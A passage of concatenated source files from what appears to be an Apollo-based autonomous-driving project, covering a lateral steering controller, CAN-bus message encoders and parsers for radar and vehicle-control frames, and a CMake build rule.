steering_pid_controller_.Reset(); return Status::OK(); } //更新状态矩阵 void LatController::UpdateState(SimpleLateralDebug *debug) { auto vehicle_state = VehicleStateProvider::instance(); const auto &com = vehicle_state->ComputeCOMPosition(lr_); vehicle_x = com.x() ; vehicle_y = com.y() ; ComputeLateralErrors(vehicle_x,vehicle_y, driving_orientation_, vehicle_state->linear_velocity(), vehicle_state->angular_velocity(), vehicle_state->linear_acceleration(), trajectory_analyzer_, debug); // Reverse heading error if vehicle is going in reverse if (VehicleStateProvider::instance()->gear() == canbus::Chassis::GEAR_REVERSE) { debug->set_heading_error(-debug->heading_error()); AINFO << "vehicle is going in reverse!" ; } // State matrix update; // First four elements are fixed; if (control_conf_->lat_controller_conf().enable_look_ahead_back_control()) { matrix_state_(0, 0) = debug->lateral_error_feedback(); matrix_state_(2, 0) = debug->heading_error_feedback(); } else { matrix_state_(0, 0) = debug->lateral_error(); matrix_state_(2, 0) = debug->heading_error(); ADEBUG << "lateral_error" <<debug->lateral_error(); ADEBUG << "heading_error" <<debug->heading_error(); } matrix_state_(1, 0) = debug->lateral_error_rate(); matrix_state_(3, 0) = debug->heading_error_rate(); if(!FLAGS_use_preview_point){ //用apollo原始的预瞄方法FLAGS_use_preview_point = false // Next elements are depending on preview window size;后四个元素取决于预瞄窗口的大小,设置的preview_window=0 ; for (int i = 0; i < preview_window_; ++i) { // AINFO << "lat use preview_window, lat preview_window size is :" << preview_window_ ; const double preview_time = ts_ * (i + 1); const auto preview_point = trajectory_analyzer_.QueryNearestPointByRelativeTime(preview_time);//这应该是目标轨迹点 // AINFO << "preview_point information:" << preview_point.ShortDebugString() ; const auto matched_point = trajectory_analyzer_.QueryNearestPointByPosition( preview_point.path_point().x(), preview_point.path_point().y());//???matched point和preview——point为一个点?这应该是 //预瞄时间之后的车辆位置 // AINFO << "matched_point information:" << matched_point.ShortDebugString() ; const double dx = preview_point.path_point().x() - matched_point.path_point().x(); const double dy = preview_point.path_point().y() - matched_point.path_point().y(); const double cos_matched_theta = std::cos(matched_point.path_point().theta()); const double sin_matched_theta = std::sin(matched_point.path_point().theta()); const double preview_d_error = cos_matched_theta * dy - sin_matched_theta * dx;//预瞄横向误差 matrix_state_(basic_state_size_ + i, 0) = preview_d_error;//在X的下一行增加预瞄横向误差 } } AINFO << "Update state X succeed!"; } void LatController::UpdateMatrix() { // 倒车模式下,用运动模型替代动力学模型 double v = 0.0 ; if (VehicleStateProvider::instance()->gear() == canbus::Chassis::GEAR_REVERSE) { v = std::min(VehicleStateProvider::instance()->linear_velocity(), -minimum_speed_protection_); matrix_a_(0, 2) = matrix_a_coeff_(0, 2) * v; } else { v = std::max(VehicleStateProvider::instance()->linear_velocity(), minimum_speed_protection_); matrix_a_(0, 2) = 0.0; } matrix_a_(1, 1) = matrix_a_coeff_(1, 1) / v; matrix_a_(1, 3) = matrix_a_coeff_(1, 3) / v; matrix_a_(3, 1) = matrix_a_coeff_(3, 1) / v; matrix_a_(3, 3) = matrix_a_coeff_(3, 3) / v; Matrix matrix_i = Matrix::Identity(matrix_a_.cols(), matrix_a_.cols()); matrix_ad_ = (matrix_i - ts_ * 0.5 * matrix_a_).inverse() * (matrix_i + ts_ * 0.5 * matrix_a_); AINFO << "Update Matrix A succeed!" ; } void LatController::UpdateMatrixCompound() { // Initialize preview matrix matrix_adc_.block(0, 0, basic_state_size_, basic_state_size_) = matrix_ad_; matrix_bdc_.block(0, 0, basic_state_size_, 1) = matrix_bd_; if(!FLAGS_use_preview_point){ if (preview_window_ > 0) { matrix_bdc_(matrix_bdc_.rows() - 1, 0) = 1; // Update A matrix; for (int i = 0; i < preview_window_ - 1; ++i) { matrix_adc_(basic_state_size_ + i, basic_state_size_ + 1 + i) = 1; } } } AINFO << "UpdateMatrixCompound succeed!" ; } double LatController::ComputeFeedForward(double ref_curvature) const { const double kv = lr_ * mass_ / 2 / cf_ / wheelbase_ - lf_ * mass_ / 2 / cr_ / wheelbase_; // then change it from rad to % const double v = VehicleStateProvider::instance()->linear_velocity(); const double steer_angle_feedforwardterm = (wheelbase_ * ref_curvature + kv * v * v * ref_curvature - matrix_k_(0, 2) * (lr_ * ref_curvature - lf_ * mass_ * v * v * ref_curvature / 2 / cr_ / wheelbase_)) * 180 / M_PI * steer_transmission_ratio_ / steer_single_direction_max_degree_ * 100; AINFO << "ComputeFeedForward succeed!" ; return steer_angle_feedforwardterm; } void LatController::ComputeLateralErrors( const double x, const double y, const double theta, const double linear_v, const double angular_v,const double linear_a, const TrajectoryAnalyzer &trajectory_analyzer, SimpleLateralDebug *debug) { double heading_error = 0.0 ; double lateral_error = 0.0 ; double heading_error_rate = 0.0 ; double lateral_error_rate = 0.0 ; TrajectoryPoint target_point = trajectory_analyzer.QueryNearestPointByPosition(x, y); if(FLAGS_use_preview_point){ ADEBUG << "use new preview methed"; const auto &preview_xy = VehicleStateProvider::instance()->EstimateFuturePosition(ts_*preview_window_); auto d_theta = linear_v * std::tan(debug->steering_position()) / wheelbase_ ; auto preview_theta = theta + d_theta * ts_ * preview_window_ ; target_point = trajectory_analyzer.QueryNearestPointByPosition(preview_xy.x(), preview_xy.y()); const double dx = preview_xy.x() - target_point.path_point().x(); const double dy = preview_xy.y() - target_point.path_point().y(); const double cos_target_heading = std::cos(target_point.path_point().theta()); const double sin_target_heading = std::sin(target_point.path_point().theta()); const double es = dx * cos_target_heading + dy * sin_target_heading ; lateral_error =cos_target_heading * dy - sin_target_heading * dx; AINFO << "cos_target_heading =" << cos_target_heading << ",sin_target_heading = " << sin_target_heading ; AINFO << "dx = " << dx << ",dy = " << dy << ",lateral_error =" << lateral_error ; debug->set_lateral_error(lateral_error); // heading error heading_error = common::math::NormalizeAngle(preview_theta - (target_point.path_point().theta()+target_point.path_point().kappa()*es)); debug->set_heading_error(heading_error); //横向误差变化率 lateral_error_rate = linear_v * std::sin(heading_error); debug->set_lateral_error_rate(lateral_error_rate); //heading error rate heading_error_rate = angular_v - target_point.path_point().kappa() * target_point.v() ; debug->set_heading_error_rate(heading_error_rate); debug->set_ref_heading(target_point.path_point().theta());//参考航向 if(target_point.path_point().kappa() > 0.03 || target_point.path_point().kappa() < -0.02){ debug->set_curvature(target_point.path_point().kappa()*2);//参考曲率 } debug->set_curvature(target_point.path_point().kappa());//参考曲率 } else { ADEBUG << "use apollo methed" ; target_point = trajectory_analyzer.QueryNearestPointByPosition(x, y); const double dx = x - target_point.path_point().x(); const double dy = y - target_point.path_point().y(); AINFO << "x point: " << x << " y point: " << y; AINFO << "match point information : " << target_point.ShortDebugString(); const double cos_target_heading = std::cos(target_point.path_point().theta()); const double sin_target_heading = std::sin(target_point.path_point().theta()); const double es = dx * cos_target_heading + dy * sin_target_heading ; lateral_error =cos_target_heading * dy - sin_target_heading * dx; AINFO << "cos_target_heading =" << cos_target_heading << ",sin_target_heading = " << sin_target_heading ; AINFO << "dx = " << dx << ",dy = " << dy << ",lateral_error =" << lateral_error ; debug->set_lateral_error(lateral_error); heading_error = common::math::NormalizeAngle(theta - (target_point.path_point().theta()+target_point.path_point().kappa()*es)); debug->set_heading_error(heading_error); lateral_error_rate = linear_v * std::sin(heading_error); debug->set_lateral_error_rate(lateral_error_rate);//横向误差变化率 heading_error_rate = angular_v - target_point.path_point().kappa() * target_point.v() ; debug->set_heading_error_rate(heading_error_rate);//航向误差率 debug->set_ref_heading(target_point.path_point().theta());//参考航向 debug->set_curvature(target_point.path_point().kappa());//参考曲率 } // Estimate the heading error with look-ahead/look-back windows as feedback // signal for special driving scenarios double heading_error_feedback; if (VehicleStateProvider::instance()->gear() == canbus::Chassis::GEAR_REVERSE) { heading_error_feedback = debug->heading_error(); } else { auto lookahead_point = trajectory_analyzer.QueryNearestPointByRelativeTime( target_point.relative_time() + lookahead_station_ / (std::max(std::fabs(linear_v), 0.1) * std::cos(debug->heading_error()))); heading_error_feedback = common::math::NormalizeAngle( debug->heading_error() + target_point.path_point().theta() - lookahead_point.path_point().theta()); } debug->set_heading_error_feedback(heading_error_feedback); // Estimate the lateral error with look-ahead/look-back windows as feedback // signal for special driving scenarios double lateral_error_feedback; if (VehicleStateProvider::instance()->gear() == canbus::Chassis::GEAR_REVERSE) { lateral_error_feedback = debug->lateral_error() - lookback_station_ * std::sin(debug->heading_error()); } else { lateral_error_feedback = debug->lateral_error() + lookahead_station_ * std::sin(heading_error); } debug->set_lateral_error_feedback(lateral_error_feedback); auto lateral_error_dot = linear_v * std::sin(debug->heading_error()); auto lateral_error_dot_dot = linear_a * std::sin(debug->heading_error()); if (FLAGS_reverse_heading_control) { if (VehicleStateProvider::instance()->gear() == canbus::Chassis::GEAR_REVERSE) { lateral_error_dot = -lateral_error_dot; lateral_error_dot_dot = -lateral_error_dot_dot; } } debug->set_lateral_error_rate(lateral_error_dot); debug->set_lateral_acceleration(lateral_error_dot_dot); debug->set_lateral_jerk( (debug->lateral_acceleration() - previous_lateral_acceleration_) / ts_); previous_lateral_acceleration_ = debug->lateral_acceleration(); if (VehicleStateProvider::instance()->gear() == canbus::Chassis::GEAR_REVERSE) { debug->set_heading_rate(-angular_v); } else { debug->set_heading_rate(angular_v); } debug->set_ref_heading_rate(target_point.path_point().kappa() * target_point.v()); debug->set_heading_error_rate(debug->heading_rate() - debug->ref_heading_rate()); debug->set_heading_acceleration( (debug->heading_rate() - previous_heading_rate_) / ts_); debug->set_ref_heading_acceleration( (debug->ref_heading_rate() - previous_ref_heading_rate_) / ts_); debug->set_heading_error_acceleration(debug->heading_acceleration() - debug->ref_heading_acceleration()); previous_heading_rate_ = debug->heading_rate(); previous_ref_heading_rate_ = debug->ref_heading_rate(); debug->set_heading_jerk( (debug->heading_acceleration() - previous_heading_acceleration_) / ts_); debug->set_ref_heading_jerk( (debug->ref_heading_acceleration() - previous_ref_heading_acceleration_) / ts_); debug->set_heading_error_jerk(debug->heading_jerk() - debug->ref_heading_jerk()); previous_heading_acceleration_ = debug->heading_acceleration(); previous_ref_heading_acceleration_ = debug->ref_heading_acceleration(); debug->set_curvature(target_point.path_point().kappa()); } //load steer_torque calibration void LatController::LoadSteerCalibrationTable(const LatControllerConf &lat_controller_conf){ const auto &steer_torque_table = lat_controller_conf.steer_calibration_table() ; AINFO << "Steer_torque calibration table is loaded,the size of calibration is" << steer_torque_table.steer_calibration_size() ; Interpolation1D::DataType xy ; for (const auto &calibration : steer_torque_table.steer_calibration()){ xy.push_back(std::make_pair(calibration.angle(), calibration.torque())) ; } steer_torque_interpolation_.reset(new Interpolation1D) ; CHECK(steer_torque_interpolation_->Init(xy))<<"Fail to init steer_torque_interpolation" ; AINFO << "Load Lateral control steering-torque calibration succeed!"; } void LatController::UpdateDrivingOrientation() { auto vehicle_state = VehicleStateProvider::instance(); driving_orientation_ = vehicle_state->heading(); matrix_bd_ = matrix_b_ * ts_; // Reverse the driving direction if the vehicle is in reverse mode if (FLAGS_reverse_heading_control) { if (vehicle_state->gear() == canbus::Chassis::GEAR_REVERSE) { // driving_orientation_ = // common::math::NormalizeAngle(driving_orientation_ + M_PI); // Update Matrix_b for reverse mode matrix_bd_ = -matrix_b_ * ts_; ADEBUG << "Matrix_b changed due to gear direction"; } } } } // namespace control } // namespace jmc_auto <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_ins_car_status_h #define impl_type_ins_car_status_h #include "impl_type_uint8.h" enum class INS_Car_Status : UInt8 { INS_Status_NONE = 0, NO_RECEIVE = 1 }; #endif // impl_type_ins_car_status_h <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/mrr_frobj_0x279_279.h" #include "modules/drivers/canbus/common/byte.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; const int32_t Mrrfrobj0x279279::ID = 0x279; // public Mrrfrobj0x279279::Mrrfrobj0x279279() { Reset(); } uint32_t Mrrfrobj0x279279::GetPeriod() const { // TODO modify every protocol's period manually static const uint32_t PERIOD = 20 * 1000; return PERIOD; } void Mrrfrobj0x279279::UpdateData(uint8_t* data) { set_p_mrr_f_object_dy(data, mrr_f_object_dy_); set_p_mrr_f_obj_0x_class(data, mrr_f_obj_0x_class_); set_p_mrr_ff_object_dx(data, mrr_ff_object_dx_); set_p_mrr_ff_object_dy(data, mrr_ff_object_dy_); set_p_mrr_ff_obj_0x_class(data, mrr_ff_obj_0x_class_); set_p_mrr_fftargrtdetection(data, mrr_fftargrtdetection_); set_p_mrr_peddetection(data, mrr_peddetection_); set_p_mrr_f_object_dx(data, mrr_f_object_dx_); } void Mrrfrobj0x279279::Reset() { // TODO you should check this manually mrr_f_object_dy_ = 0.0; mrr_f_obj_0x_class_ = Mrr_frobj_0x279_279::MRR_F_OBJ_0X_CLASS_UNKNOWN; mrr_ff_object_dx_ = 0.0; mrr_ff_object_dy_ = 0.0; mrr_ff_obj_0x_class_ = Mrr_frobj_0x279_279::MRR_FF_OBJ_0X_CLASS_UNKNOWN; mrr_fftargrtdetection_ = Mrr_frobj_0x279_279::MRR_FFTARGRTDETECTION_NOT_DECTECTED; mrr_peddetection_ = Mrr_frobj_0x279_279::MRR_PEDDETECTION_NOT_DECTECTED; mrr_f_object_dx_ = 0.0; } Mrrfrobj0x279279* Mrrfrobj0x279279::set_mrr_f_object_dy( double mrr_f_object_dy) { mrr_f_object_dy_ = mrr_f_object_dy; return this; } // config detail: {'name': 'MRR_F_Object_dy', 'enum': {511: 'MRR_F_OBJECT_DY_NO_OBJECT'}, 'precision': 0.0625, 'len': 9, 'is_signed_var': False, 'offset': -15.0, 'physical_range': '[-15|15]', 'bit': 11, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrrfrobj0x279279::set_p_mrr_f_object_dy(uint8_t* data, double mrr_f_object_dy) { int x = (mrr_f_object_dy - -15.000000) / 0.062500; uint8_t t = 0; t = x & 0x1F; Byte to_set0(data + 2); to_set0.set_value(t, 3, 5); x >>= 5; t = x & 0xF; Byte to_set1(data + 1); to_set1.set_value(t, 0, 4); } Mrrfrobj0x279279* Mrrfrobj0x279279::set_mrr_f_obj_0x_class( Mrr_frobj_0x279_279::Mrr_f_obj_0x_classType mrr_f_obj_0x_class) { mrr_f_obj_0x_class_ = mrr_f_obj_0x_class; return this; } // config detail: {'name': 'MRR_F_Obj_0x_class', 'enum': {0: 'MRR_F_OBJ_0X_CLASS_UNKNOWN', 1: 'MRR_F_OBJ_0X_CLASS_CAR', 2: 'MRR_F_OBJ_0X_CLASS_TRUCK', 3: 'MRR_F_OBJ_0X_CLASS_TWO_WHEELER'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 18, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrrfrobj0x279279::set_p_mrr_f_obj_0x_class(uint8_t* data, Mrr_frobj_0x279_279::Mrr_f_obj_0x_classType mrr_f_obj_0x_class) { int x = mrr_f_obj_0x_class; Byte to_set(data + 2); to_set.set_value(x, 0, 3); } Mrrfrobj0x279279* Mrrfrobj0x279279::set_mrr_ff_object_dx( double mrr_ff_object_dx) { mrr_ff_object_dx_ = mrr_ff_object_dx; return this; } // config detail: {'name': 'MRR_FF_Object_dx', 'enum': {4095: 'MRR_FF_OBJECT_DX_NO_OBJECT'}, 'precision': 0.0625, 'len': 12, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|255.875]', 'bit': 31, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrrfrobj0x279279::set_p_mrr_ff_object_dx(uint8_t* data, double mrr_ff_object_dx) { int x = mrr_ff_object_dx / 0.062500; uint8_t t = 0; t = x & 0xF; Byte to_set0(data + 4); to_set0.set_value(t, 4, 4); x >>= 4; t = x & 0xFF; Byte to_set1(data + 3); to_set1.set_value(t, 0, 8); } Mrrfrobj0x279279* Mrrfrobj0x279279::set_mrr_ff_object_dy( double mrr_ff_object_dy) { mrr_ff_object_dy_ = mrr_ff_object_dy; return this; } // config detail: {'name': 'MRR_FF_Object_dy', 'enum': {511: 'MRR_FF_OBJECT_DY_NO_OBJECT'}, 'precision': 0.0625, 'len': 9, 'is_signed_var': False, 'offset': -15.0, 'physical_range': '[-15|15]', 'bit': 35, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrrfrobj0x279279::set_p_mrr_ff_object_dy(uint8_t* data, double mrr_ff_object_dy) { int x = (mrr_ff_object_dy - -15.000000) / 0.062500; uint8_t t = 0; t = x & 0x1F; Byte to_set0(data + 5); to_set0.set_value(t, 3, 5); x >>= 5; t = x & 0xF; Byte to_set1(data + 4); to_set1.set_value(t, 0, 4); } Mrrfrobj0x279279* Mrrfrobj0x279279::set_mrr_ff_obj_0x_class( Mrr_frobj_0x279_279::Mrr_ff_obj_0x_classType mrr_ff_obj_0x_class) { mrr_ff_obj_0x_class_ = mrr_ff_obj_0x_class; return this; } // config detail: {'name': 'MRR_FF_Obj_0x_class', 'enum': {0: 'MRR_FF_OBJ_0X_CLASS_UNKNOWN', 1: 'MRR_FF_OBJ_0X_CLASS_CAR', 2: 'MRR_FF_OBJ_0X_CLASS_TRUCK', 3: 'MRR_FF_OBJ_0X_CLASS_TWO_WHEELER'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 42, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrrfrobj0x279279::set_p_mrr_ff_obj_0x_class(uint8_t* data, Mrr_frobj_0x279_279::Mrr_ff_obj_0x_classType mrr_ff_obj_0x_class) { int x = mrr_ff_obj_0x_class; Byte to_set(data + 5); to_set.set_value(x, 0, 3); } Mrrfrobj0x279279* Mrrfrobj0x279279::set_mrr_fftargrtdetection( Mrr_frobj_0x279_279::Mrr_fftargrtdetectionType mrr_fftargrtdetection) { mrr_fftargrtdetection_ = mrr_fftargrtdetection; return this; } // config detail: {'name': 'MRR_FFTargrtDetection', 'enum': {0: 'MRR_FFTARGRTDETECTION_NOT_DECTECTED', 1: 'MRR_FFTARGRTDETECTION_DECTECTED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 54, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrrfrobj0x279279::set_p_mrr_fftargrtdetection(uint8_t* data, Mrr_frobj_0x279_279::Mrr_fftargrtdetectionType mrr_fftargrtdetection) { int x = mrr_fftargrtdetection; Byte to_set(data + 6); to_set.set_value(x, 6, 1); } Mrrfrobj0x279279* Mrrfrobj0x279279::set_mrr_peddetection( Mrr_frobj_0x279_279::Mrr_peddetectionType mrr_peddetection) { mrr_peddetection_ = mrr_peddetection; return this; } // config detail: {'name': 'MRR_PedDetection', 'enum': {0: 'MRR_PEDDETECTION_NOT_DECTECTED', 1: 'MRR_PEDDETECTION_DECTECTED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrrfrobj0x279279::set_p_mrr_peddetection(uint8_t* data, Mrr_frobj_0x279_279::Mrr_peddetectionType mrr_peddetection) { int x = mrr_peddetection; Byte to_set(data + 6); to_set.set_value(x, 7, 1); } Mrrfrobj0x279279* Mrrfrobj0x279279::set_mrr_f_object_dx( double mrr_f_object_dx) { mrr_f_object_dx_ = mrr_f_object_dx; return this; } // config detail: {'name': 'MRR_F_Object_dx', 'enum': {4095: 'MRR_F_OBJECT_DX_NO_OBJECT'}, 'precision': 0.0625, 'len': 12, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|255.875]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrrfrobj0x279279::set_p_mrr_f_object_dx(uint8_t* data, double mrr_f_object_dx) { int x = mrr_f_object_dx / 0.062500; uint8_t t = 0; t = x & 0xF; Byte to_set0(data + 1); to_set0.set_value(t, 4, 4); x >>= 4; t = x & 0xFF; Byte to_set1(data + 0); to_set1.set_value(t, 0, 8); } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(path_decider path_decider.cc path_decider.h) target_link_libraries(path_decider vehicle_config_helper /modules/common/math /modules/common/status /modules/map/proto:map_proto frame path_decision planning_gflags reference_line_info planning_config_proto planning_proto /modules/planning/tasks:task) <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/teshun/protocol/gw_vcu_sts_0x218_218.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace teshun { using ::jmc_auto::drivers::canbus::Byte; Gwvcusts0x218218::Gwvcusts0x218218() {} const int32_t Gwvcusts0x218218::ID = 0x218; void Gwvcusts0x218218::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_teshun()->mutable_gw_vcu_sts_0x218_218()->set_checksum_0x218(checksum_0x218(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_sts_0x218_218()->set_rolling_counter_0x218(rolling_counter_0x218(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_sts_0x218_218()->set_vcu_nlockrequest(vcu_nlockrequest(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_sts_0x218_218()->set_vcu_plockrequest(vcu_plockrequest(bytes, length)); // chassis->mutable_teshun()->mutable_gw_vcu_sts_0x218_218()->set_vcu_vehicle_mode(vcu_vehicle_mode(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_sts_0x218_218()->set_vcu_engaddfuel_rq(vcu_engaddfuel_rq(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_sts_0x218_218()->set_vcu_fan_rq(vcu_fan_rq(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_sts_0x218_218()->set_vcu_engstart_rq(vcu_engstart_rq(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_sts_0x218_218()->set_vcu_dcu_parkrequest(vcu_dcu_parkrequest(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_sts_0x218_218()->set_vcu_actualgearlevelpositionvalid(vcu_actualgearlevelpositionvalid(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_sts_0x218_218()->set_vcu_actualgearlevelposition(vcu_actualgearlevelposition(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_sts_0x218_218()->set_vcu_bms_chgstart_alw(vcu_bms_chgstart_alw(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_sts_0x218_218()->set_vcu_bms_hvonoff_req(vcu_bms_hvonoff_req(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_sts_0x218_218()->set_vcu_vehfailgrade_err(vcu_vehfailgrade_err(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_sts_0x218_218()->set_vcu_running_mode(vcu_running_mode(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_sts_0x218_218()->set_vcu_bp_sleep_allowed(vcu_bp_sleep_allowed(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_sts_0x218_218()->set_vcu_hvil_in(vcu_hvil_in(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_sts_0x218_218()->set_vcu_hvil_out(vcu_hvil_out(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_sts_0x218_218()->set_vcu_bp_input_cooling_temp(vcu_bp_input_cooling_temp(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_sts_0x218_218()->set_vcu_motor_input_cooling_temp(vcu_motor_input_cooling_temp(bytes, length)); } // config detail: {'name': 'checksum_0x218', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwvcusts0x218218::checksum_0x218(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'rolling_counter_0x218', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwvcusts0x218218::rolling_counter_0x218(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'vcu_nlockrequest', 'enum': {0: 'VCU_NLOCKREQUEST_NO_USE', 1: 'VCU_NLOCKREQUEST_LOCK', 2: 'VCU_NLOCKREQUEST_UNLOCK', 3: 'VCU_NLOCKREQUEST_INVALID'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 53, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_sts_0x218_218::Vcu_nlockrequestType Gwvcusts0x218218::vcu_nlockrequest(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(4, 2); Gw_vcu_sts_0x218_218::Vcu_nlockrequestType ret = static_cast<Gw_vcu_sts_0x218_218::Vcu_nlockrequestType>(x); return ret; } // config detail: {'name': 'vcu_plockrequest', 'enum': {0: 'VCU_PLOCKREQUEST_NO_USE', 1: 'VCU_PLOCKREQUEST_LOCK', 2: 'VCU_PLOCKREQUEST_UNLOCK', 3: 'VCU_PLOCKREQUEST_INVALID'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_sts_0x218_218::Vcu_plockrequestType Gwvcusts0x218218::vcu_plockrequest(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(6, 2); Gw_vcu_sts_0x218_218::Vcu_plockrequestType ret = static_cast<Gw_vcu_sts_0x218_218::Vcu_plockrequestType>(x); return ret; } // config detail: {'name': 'vcu_vehicle_mode', 'enum': {1: 'VCU_VEHICLE_MODE_STANDBY_IG_OFF_MODE', 2: 'VCU_VEHICLE_MODE_VEHICLE_RESET_MODE', 3: 'VCU_VEHICLE_MODE_HV_ACTIVATION_MODE', 4: 'VCU_VEHICLE_MODE_DRIVING_MODE', 5: 'VCU_VEHICLE_MODE_HV_TERMINATION_MODE', 6: 'VCU_VEHICLE_MODE_CHARGING_MODE', 7: 'VCU_VEHICLE_MODE_RESERVED', 8: 'VCU_VEHICLE_MODE_EMER_DRIVING_MODE'}, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|15]', 'bit': 39, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} // Gw_vcu_sts_0x218_218::Vcu_vehicle_modeType Gwvcusts0x218218::vcu_vehicle_mode(const std::uint8_t* bytes, int32_t length) const { // Byte t0(bytes + 4); // int32_t x = t0.get_byte(4, 4); // Gw_vcu_sts_0x218_218::Vcu_vehicle_modeType ret = static_cast<Gw_vcu_sts_0x218_218::Vcu_vehicle_modeType>(x); // return ret; // } // config detail: {'name': 'vcu_engaddfuel_rq', 'enum': {0: 'VCU_ENGADDFUEL_RQ_NO_RQ', 1: 'VCU_ENGADDFUEL_RQ_RQ'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 21, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_sts_0x218_218::Vcu_engaddfuel_rqType Gwvcusts0x218218::vcu_engaddfuel_rq(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(5, 1); Gw_vcu_sts_0x218_218::Vcu_engaddfuel_rqType ret = static_cast<Gw_vcu_sts_0x218_218::Vcu_engaddfuel_rqType>(x); return ret; } // config detail: {'name': 'vcu_fan_rq', 'enum': {0: 'VCU_FAN_RQ_NO_RQ', 1: 'VCU_FAN_RQ_FAN_LOW_RQ', 4: 'VCU_FAN_RQ_FAN_HIGH_RQ'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 31, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_sts_0x218_218::Vcu_fan_rqType Gwvcusts0x218218::vcu_fan_rq(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(5, 3); Gw_vcu_sts_0x218_218::Vcu_fan_rqType ret = static_cast<Gw_vcu_sts_0x218_218::Vcu_fan_rqType>(x); return ret; } // config detail: {'name': 'vcu_engstart_rq', 'enum': {0: 'VCU_ENGSTART_RQ_NO_RQ', 1: 